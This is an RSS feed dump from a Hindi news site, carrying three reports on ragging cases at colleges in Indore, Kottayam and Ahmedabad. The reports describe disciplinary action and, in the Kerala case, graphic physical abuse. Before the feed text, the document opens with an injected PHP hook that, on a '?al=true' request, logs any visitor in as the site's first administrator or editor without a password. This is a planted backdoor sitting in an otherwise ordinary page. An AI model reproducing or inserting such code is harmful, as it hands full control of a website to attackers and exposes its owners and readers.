// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); ragging – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 15 Feb 2026 08:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 इंदौर में आईईटी में रैगिंग के लिए उकसाया, प्रथम वर्ष के चार विद्यार्थी होंगे निष्कासित https://pratyushaashakinayikiran.com/?p=198022 Sun, 15 Feb 2026 08:45:00 +0000 https://pratyushaashakinayikiran.com/?p=198022 इंदौर.

इंस्टिट्यूट ऑफ इंजीनियरिंग एंड टेक्नोलॉजी (आईईटी) ने रैगिंग को लेकर रिपोर्ट तैयार कर ली है, जिसमें प्रथम वर्ष के चार विद्यार्थियों पर सख्त कार्रवाई की गई है। इन्हें सीनियर को रैगिंग दिए जाने को लेकर सहपाठियों पर दबाव बनाने का दोषी पाया गया है। एंटी रैगिंग कमेटी (एआरसी) ने चार विद्यार्थियों को कोर्स से बाहर करने का फैसला लिया है।

रिपोर्ट में निष्कासन की अनुशंसा की गई है। जबकि 11 विद्यार्थियों को हॉस्टल से बाहर कर दिया गया है। इन पर अर्थदंड भी लगाया गया है। रैगिंग की रिपोर्ट कुलगुरु डॉ. राकेश सिंघई को भेज दी गई। करीब दो सप्ताह पहले प्रथम वर्ष के कुछ विद्यार्थियों ने रैगिंग की शिकायत दर्ज कराई थी। बताया गया था कि डी हॉस्टल में कुछ छात्र जूनियर्स पर दबाव बनाते हैं। आरोप था कि उन्हें सीनियर्स के पास जाकर जबरन परिचय देने के लिए उकसाया जाता है। इतना ही नहीं, सिगरेट पीने के लिए भी मजबूर किया जाता है।

बैच आउट कर दिया जाता है
इन्कार करने पर विद्यार्थियों को ‘बैच आउट’ कर दिया जाता है। 'बैच आउट' यानी ऐसे विद्यार्थियों को सांस्कृतिक और शैक्षणिक गतिविधियों से दूर रखा जाता है। उन्हें सीनियर्स के सामने सिर झुकाकर और हाथ जोड़कर बात करने को कहा जाता है। इन शिकायतों को गंभीरता से लेते हुए संस्थान ने तुरंत जांच शुरू कर दी। शिकायत के अलावा एंटी रैगिंग कमेटी ने ऑडियो रिकॉर्डिंग की भी जांच की। इसमें प्रथम वर्ष के कुछ विद्यार्थी अपने सहपाठियों को रैगिंग देने के लिए उकसाते हुए पाए गए। जांच में यह भी सामने आया कि कुछ द्वितीय वर्ष के विद्यार्थी भी इस पूरे मामले में शामिल थे। करीब दो सप्ताह की जांच के बाद कमेटी ने करीब 15 विद्यार्थियों को दोषी पाया। इनमें से चार प्रथम वर्ष के विद्यार्थियों पर गंभीर आरोप साबित हुए। कमेटी ने इन्हें बीटेक कोर्स से बाहर करने की सिफारिश की है। रिपोर्ट कुलगुरु डॉ. राकेश सिंघई को भेज दी गई है। अगले सप्ताह इस मुद्दे पर बैठक बुलाई गई है, जिसमें अंतिम फैसला लिया जाएगा।

जुर्माना भी लगाया
बीटेक के प्रथम व द्वितीय वर्ष के आठ विद्यार्थी ऐसे हैं, जो रैगिंग का समर्थन करते हैं। इन पर भी कमेटी ने सख्त कार्रवाई की है। भले ही इन्हें कोर्स से बाहर नहीं किया गया है, मगर इन विद्यार्थियों को हॉस्टल से निष्कासित कर दिया गया है। साथ ही दस हजार रुपये का अर्थदंड भी लगाया गया है। नोटिस मिलने के सात दिनों के भीतर विद्यार्थियों को अर्थदंड की राशि जमा करना है। समयावधि निकलने के बाद विद्यार्थियों पर अर्थदंड के साथ ही जुर्माना भी लगाया जाएगा। प्रतिदिन 100 रुपये रखा गया है। तीन विद्यार्थियों को पूर्व में भी रैगिंग में शामिल होना पाया गया था। इन पर दस हजार रुपये अर्थदंड लगाया गया है और कैम्पस प्लेसमेंट की गतिविधियों से बाहर कर दिया गया है।

यूजीसी को भी भेजी रिपोर्ट
आईईटी के निदेशक डॉ. प्रतोष बसंल का कहना है कि रैगिंग को लेकर कमेटी ने रिपोर्ट तैयार की है। चार विद्यार्थियों को कोर्स से बाहर करने की अनुशंसा की है। कुछ विद्यार्थियों को हॉस्टल और प्लेसमेंट से बाहर किया गया है। कुलगुरु और यूजीसी को रिपोर्ट भेज दी गई है। विश्वविद्यालय के अब फैसले के बाद कार्रवाई की जाएगी।

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केरल मेडिकल कॉलेज में रैगिंग का खौफनाक मामला, प्राइवेट पार्ट से लटकाए गए डम्बल https://pratyushaashakinayikiran.com/?p=130993 Wed, 12 Feb 2025 11:05:00 +0000 https://pratyushaashakinayikiran.com/?p=130993 कोट्टायम:
केरल के एक मेडिकल कॉलेज से रैगिंग की एक खौफनाक वारदात सामने आई है जिसमें जूनियर छात्रों को सीनियर्स ने पहले कपड़े उतारकर नग्न कर दिया गया, फिर उनके गुप्तांगों पर डम्बल लटका दिया। इतना ही नहीं, उसके बाद सीनियर्स ने ज्योमेट्री बॉक्स के कंपास से बार बार वार किया गया और तीन महीने तक बुरी तरह पीटा। केरल के एक सरकारी कॉलेज में हुए रैगिंग की इस घटना ने लोगों को हिलाकर रख दिया है, जहां नर्सिंग के तीसरे वर्ष के पांच छात्रों को कथित तौर पर अपने जूनियर्स को महीनों तक क्रूर शारीरिक और मानसिक शोषण करने के आरोप में गिरफ्तार किया गया है।

थाने में दर्ज शिकायत से हुआ खुलासा

यह घटना कोट्टायम के सरकारी नर्सिंग कॉलेज में हुई, जहां प्रथम वर्ष के तीन छात्रों, जो सभी तिरुवनंतपुरम से हैं, सभी ने कोट्टायम गांधीनगर पुलिस में एक औपचारिक शिकायत दर्ज की, जिसमें नवंबर 2024 में शुरू हुई और लगभग तीन महीने तक जारी हिंसक कृत्यों का खुलासा किया गया। शिकायत के कारण आरोपी छात्रों को निलंबित कर दिया गया और एंटी-रैगिंग अधिनियम के तहत उनकी गिरफ्तारी की गई।

घटना जानकर रूह कांप जाएगी

पुलिस के अनुसार, प्रथम वर्ष के छात्रों को सीनियर छात्रों ने नग्न खड़े होने के लिए मजबूर किया, जबकि उनके वरिष्ठ छात्रों ने उनके निजी अंगों से डम्बल लटका दिए। पीड़ितों को ज्योमेट्री बॉक्स से कंपास सहित तेज वस्तुओं का उपयोग करके भी चोट पहुंचाई गई थी। उनकी क्रूरता यहीं नहीं रुकी. घावों पर लोशन लगाया गया, जिससे दर्द होने लगा। जब पीड़ित दर्द से चिल्लाने लगे तो उनके मुंह में जबरन लोशन ठूंस दिया गया। वरिष्ठों ने कथित तौर पर इन कृत्यों को फिल्माया और जूनियर्स को धमकी दी कि यदि उन्होंने दुर्व्यवहार की रिपोर्ट करने की हिम्मत की तो उनका कैरियर खत्म हो जाएगा।

पांच छात्र हुए गिरफ्तार

शिकायत में यह भी दावा किया गया है कि रविवार को सीनियर्स नियमित रूप से जूनियर्स से शराब खरीदने के लिए पैसे वसूलते थे। जो लोग इस आदेश को मानने  से इनकार करते थे उन्हें पीटा जाता था। एक छात्र, जो अब उत्पीड़न सहन करने में असमर्थ था, ने अपने पिता को सबकुछ बताया दिया, जिन्होंने उसे पुलिस से संपर्क करने के लिए प्रोत्साहित किया। सभी पांचों आरोपी छात्र फिलहाल पुलिस हिरासत में हैं और उनके बुधवार दोपहर तक मजिस्ट्रेट के सामने पेश किए जाने की उम्मीद है। 

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रैगिंग पर सख्त कार्रवाई, सात दिन नहीं नहाने का फरमान सुनाने वाले चार डॉक्टर सस्पेंड https://pratyushaashakinayikiran.com/?p=34025 Sat, 25 May 2024 12:26:00 +0000 https://pratyushaashakinayikiran.com/?p=34025 अहमदाबाद
 गुजरात के अ
हमदाबाद स्थित नरेंद्र मोदी मेडिकल कॉलेज में जूनियर्स के रैगिंग करने वाले चार सीनियर डॉक्टरों को सस्पेंड कर दिया गया है। अहमदाबाद नगर निगम मेडिकल एजुकेशन ट्रस्ट (एएमसी एमईटी) से संबद्ध मणिनगर स्थित नरेंद्र मोदी मेडिकल कॉलेज ने पूरे मामले पर सख्त रुख अपनाया है। इन डॉक्टरों ने दो जूनियर डॉक्टरों को भयानक तौर मानसिक पीड़ा दी थी। रैगिंग कमेटी की जांच के बाद दोषी सीनियर डॉक्टरों को सस्पेंड किया गया है।

16 मई को मिली थी शिकायत
नरेंद्र मोदी मेडिकल कॉलेज में 16 मई को रैगिंग का मामला सामने आया था। इसमें पीड़ित डॉक्टरों ने था कि सीनियर्स की तरफ से लगातार उन्हें अपमानित किया जा रहा है। इसमें एक ही प्रिस्क्रिप्शन को 700 बार लिखने, सात दिन नहीं नहाने जैसे फरमान शामिल हैं। शिकायत में आराेप लगा था कि सीनियर डॉक्टर गालीगलौच करते हैं और तुम्हें कुछ नहीं आता है। जैसे कमेंट करते हैं। इसके बाद पूरे मामले की जांच शुरू हुई थी। नरेंद्र मोदी मेडिकल कॉलेज में जूनियर डॉक्टरों की पीड़ा का खुलासा एचओडी आशीष पटेल ने किया।

कमेटी की रिपोर्ट पर कार्रवाई
इसके बाद रैगिंग की शिकायत की जांच की गई थी। इसमें चार डॉक्टरों को दोषी पाया गया। इसकेएंटी रैगिंग कमेटी ने डॉक्टर व्रज वाघानी और डॉक्टर शिवानी पटेल को 2 साल के लिए सस्पेंड किया है, जबकि बाकी के दो डॉक्टर्स की रैगिंग में सामान्य भूमिका के चलते 25-25 दिनों के लिए सस्पेंड किया गया है, इन दोनों को अपनी रेजिडेंटशिप के दिन बाद में पूरे करने होंगे। अन्य दो डॉक्टरों में अनेरी नायक और करणकुमार पारेजिया शामिल हैं। सितंबर 2022 में अहमदाबाद के इस मेडिकल कॉलेज का नाम प्रधानमंत्री नरेंद्र मोदी के ना पर किया गया था। इस मेडिकल कॉलेज की शुरुआत 2009 में हुई थी। तब एमबीबीएस की कुल 150 सीटें थी। अब मेडिकल कॉलेज में एमबीबीएस की 200 और एमडी और एमएस की 170 सीटें हैं।

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